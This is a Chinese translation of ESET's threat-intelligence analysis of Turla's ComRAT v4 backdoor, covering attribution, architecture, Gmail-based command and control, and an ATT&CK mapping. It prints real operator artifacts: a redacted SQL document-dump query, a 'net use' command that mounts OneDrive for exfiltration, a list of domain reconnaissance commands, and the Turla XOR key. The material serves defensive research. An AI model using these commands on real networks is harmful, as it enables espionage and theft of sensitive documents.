ESET研究人员发现了在Turla组织下,属于最古老的恶意软件之一的ComRAT,产生了新的版本。 Turla,也被称为Snake,是一个臭名昭著的间谍组织,已经活跃了十多年。 前面我们已经介绍过的很多攻击活动都可以归咎到Turla组织。
ComRAT也被称为Agent.BTZ,同时它的开发者们也称它为Chinch。它是一种远程访问木马(RAT),因在2008年造成了美军基地的大规模感染而名声大噪。ComRAT的第一版本可能是在2007年发布的,拥有可以通过可移动设备传播的蠕虫属性。之后两个新的主要版本在2007年到2012年之间发布,两者都使用了著名的Turla XOR秘钥:
1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s
一直到2017年年中,Turla的开发者才开始对ComRAT进行了一些修改,但是这些变体显然还是从相同的代码库中派生的。
详情参见:从Agent.BTZ到ComRAT v4:十年的历程
之后在2017年末,我们注意到完全不同的ComRAT版本已经发布。 这个新版本使用了全新的代码库,并且比以前的版本复杂得多。 下面是该恶意软件家族的主要特征:
- ComRAT v4于2017年首次出现,并且已知直到2020年1月仍在使用
- 我们确定了它的至少三个攻击目标:两个外交部和一个国民议会
- ComRAT被用来窃取敏感文档。攻击者使用OneDrive和4shared等公共云服务来窃取数据
- ComRAT是用C ++开发的复杂后门程序
- ComRAT使用虚拟FAT16文件系统
- ComRAT利用现有的访问方法被部署,例如PowerStallion PowerShell后门
- ComRAT具有两个命令和控制通道
- HTTP:它使用与ComRAT v3完全相同的协议
- 电子邮件:它使用Gmail网络界面来接收命令并提取数据
- ComRAT可以在受到感染的计算机上执行许多操作,例如执行其他程序或向外泄露文件
Turla溯源
根据攻击对象和TTP(Tactics, techniques and procedures),我们相信ComRAT是被Turla组织使用的。 由下面几个信息我们将ComRAT v4联系到Turla:
- 它使用与先前版本相同的内部名称Chinch
- 它通过HTTP使用与ComRAT v3相同的自定义C&C协议
- 它的网络基础结构的一部分与另一个Turla恶意软件家族Mosquito共享
- 它会传播其他Turla使用的恶意软件,或者被它们所传播:
- 一个定制的PowerShell加载器
- PowerStallion后门
- RPC后门
洞悉攻击者的活动
通过我们的调查,我们了解到Turla攻击者在受感染机器上所做的操作。
ComRAT的主要用途是窃取机密文件。 在一种情况下,攻击者甚至部署了.NET可执行文件,以与受害者的包含公司内部组织文档的中央MS SQL Server数据库进行交互。 图1是已编辑的SQL命令。
sqlCommand.CommandText = "select top " + num2.ToString() + " filename, img, datalength(img), id from <Redacted> with(nolock) where not img is null and id>" + num4.ToString();
sqlCommand.CommandText += " and datalength(img)<1500000 and (filename like '%.doc' or filename like '%.docx' or filename like '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]%.pdf' or (filename like '3%.pdf' and len(filename)>9))";
sqlCommand.CommandText += " order by id";
图1. SQL命令从中央数据库中转储文档(部分已编辑)
然后将这些文档压缩并传输到云存储提供商,例如OneDrive或4shared。 使用net use命令安装云存储,如图2所示。
tracert -h 10 yahoo.com
net use https://docs.live.net/E65<redacted> <redacted password> /u:<redacted>@aol.co.uk
tracert -h 10 yahoo.com
图2. Command to mount a OneDrive folder using net use (partially redacted)
除了窃取文件外,攻击者还运行许多命令来收集有关Active Directory组或用户,网络或Microsoft Windows配置(例如组策略)的信息。 图3是由Turla攻击者执行的命令的列表。
gpresult /z
gpresult /v
gpresult
net view
net view /domain
netstat
netstat -nab
netstat -nao
nslookup 127.0.0.1
ipconfig /all
arp -a
net share
net use
systeminfo
net user
net user administrator
net user /domain
net group
net group /domain
net localgroup
net localgroup
net localgroup Administrators
net group "Domain Computers" /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
dir "%programfiles%"
net group "Exchange Servers" /domain
net accounts
net accounts /domain
net view 127.0.0.1 /all
net session
route print
ipconfig /displaydns
图3. 受感染机器的基本侦查
最后,我们还注意到Turla攻击者意识到并试图逃避安全软件。 例如,他们定期抽取与安全相关的日志文件,以了解是否已检测到其恶意软件样本。 这表明该组人员的复杂程度及其长期留在同一台计算机上的意图。
技术分析
根据其看上去应该是真实的编译时间戳,ComRAT v4的第一个已知示例于2017年4月进行了编译。据我们所知,最新的后门版本是在2019年11月进行编译的。
基于ESET所掌握的资料,我们认为ComRAT是使用现有立足点(例如,受感染的凭证)或通过另一个Turla后门安装的。 例如我们看到PowerStallion安装了ComRAT,PowerStallion是我们在2019年描述的基于PowerShell的后门程序。
ComRAT安装程序是一个PowerShell脚本,可创建Windows计划的任务并用加密的有效负载填充注册表值。
ComRAT v4具有以下组件:
- 一个协调器,注入explorer.exe。 它控制大多数ComRAT功能,包括后门命令的执行。
- 一个通信模块(DLL),由协调器注入到默认浏览器中。 它使用命名管道与协调器通信。
- 一个虚拟FAT16文件系统,其中包含配置和日志文件。
图4是ComRAT架构的概览图。
图4. ComRAT架构概览图
ComRAT v4具有两个不同的C&C通道:HTTP(内部称为旧版),想当然地使用HTTP协议,和使用Gmail Web界面的电子邮件(内部称为mail)。
在后一种模式下,使用配置中存储的cookie,它会连接到Gmail Web界面,以便检查收件箱并下载包含加密命令的特定邮件附件。 这些命令由攻击者从另一个地址发送,该地址通常托管在其他免费电子邮件提供商(例如GMX)上。
对所有ComRAT组件的详细技术分析,请参阅此白皮书。
结论
ComRAT v4是于2017年发布的经过全面改造的恶意软件系列。其开发人员从其他Turla后门(例如Snake)汲取了灵感,以构建非常复杂的恶意软件。
它最有趣的功能是使用Gmail网络UI接收命令并提取数据。 因此,它不依赖任何恶意域,因此可以绕过某些安全控制。 我们还注意到,此新版本放弃了COM对象劫持的持久性使用,该方法使恶意软件具有通用名称。
我们发现有迹象表明ComRAT v4在2020年初仍在使用,这表明Turla小组仍然非常活跃,对外交官和军队构成了重大威胁。
完整的危害指标(IoC)和示例列表可在我们的白皮书和GitHub存储库中找到。有关对后门的详细分析,请参阅我们的白皮书。 如有任何疑问,或要提交与该主题相关的样本,请通过threatintel@eset.com与我们联系。
MITRE ATT&CK techniques
Tactic |
Id |
Name |
Description |
Execution |
T1086 |
PowerShell |
A PowerShell script is used to install ComRAT. |
Persistence |
T1053 |
Scheduled Task |
ComRAT uses a scheduled task to launch its PowerShell loader. |
Defense Evasion |
T1027 |
Obfuscated Files or Information |
The ComRAT orchestrator is stored encrypted and only decrypted upon execution. |
Defense Evasion |
T1055 |
Process Injection |
The ComRAT orchestrator is injected into explorer.exe . The communication DLL is injected into the default browser. |
Defense Evasion |
T1112 |
Modify Registry |
The ComRAT orchestrator is stored encrypted in the Registry. |
Discovery |
T1016 |
System Network Configuration Discovery |
Operators execute ipconfig and nbstat . |
Discovery |
T1033 |
System Owner/User Discovery |
Operators execute net user . |
Discovery |
T1069 |
Permission Groups Discovery |
Operators execute net group /domain . |
Discovery |
T1082 |
System Information Discovery |
Operators execute systeminfo . |
Discovery |
T1083 |
File and Directory Discovery |
Operators list the content of several directories. Example: dir /og-d "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent*.*". |
Discovery |
T1087 |
Account Discovery |
Operators execute net user and net group . |
Discovery |
T1120 |
Peripheral Device Discovery |
Operators execute fsutil fsinfo drives to list the connected drives. |
Discovery |
T1135 |
Network Share Discovery |
Operators execute net view . |
Collection |
T1213 |
Data from Information Repositories |
The Operators use a custom tool to exfiltrate documents from an internal central database. |
Command and Control |
T1024 |
Custom Cryptographic Protocol |
ComRAT uses RSA and AES to encrypt C&C data. |
Command and Control |
T1043 |
Commonly Used Port |
ComRAT uses ports 80 and 443. |
Command and Control |
T1071 |
Standard Application Layer Protocol |
ComRAT uses HTTP and HTTPS. |
Command and Control |
T1102 |
Web Service |
ComRAT can be controlled via the Gmail web UI. |
Exfiltration |
T1002 |
Data Compressed |
The documents are compressed in a RAR archive. |
Exfiltration |
T1022 |
Data Encrypted |
The RAR archive is encrypted with a password. |
Exfiltration |
T1048 |
Exfiltration Over Alternative Protocol |
Data is exfiltrated to cloud storage, mounted locally using the net usecommand. |
翻译:看雪翻译小组 一壶葱茜
校对:看雪翻译小组 lipss
原文地址:https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2020-6-16 01:55
被一壶葱茜编辑
,原因: 整理表格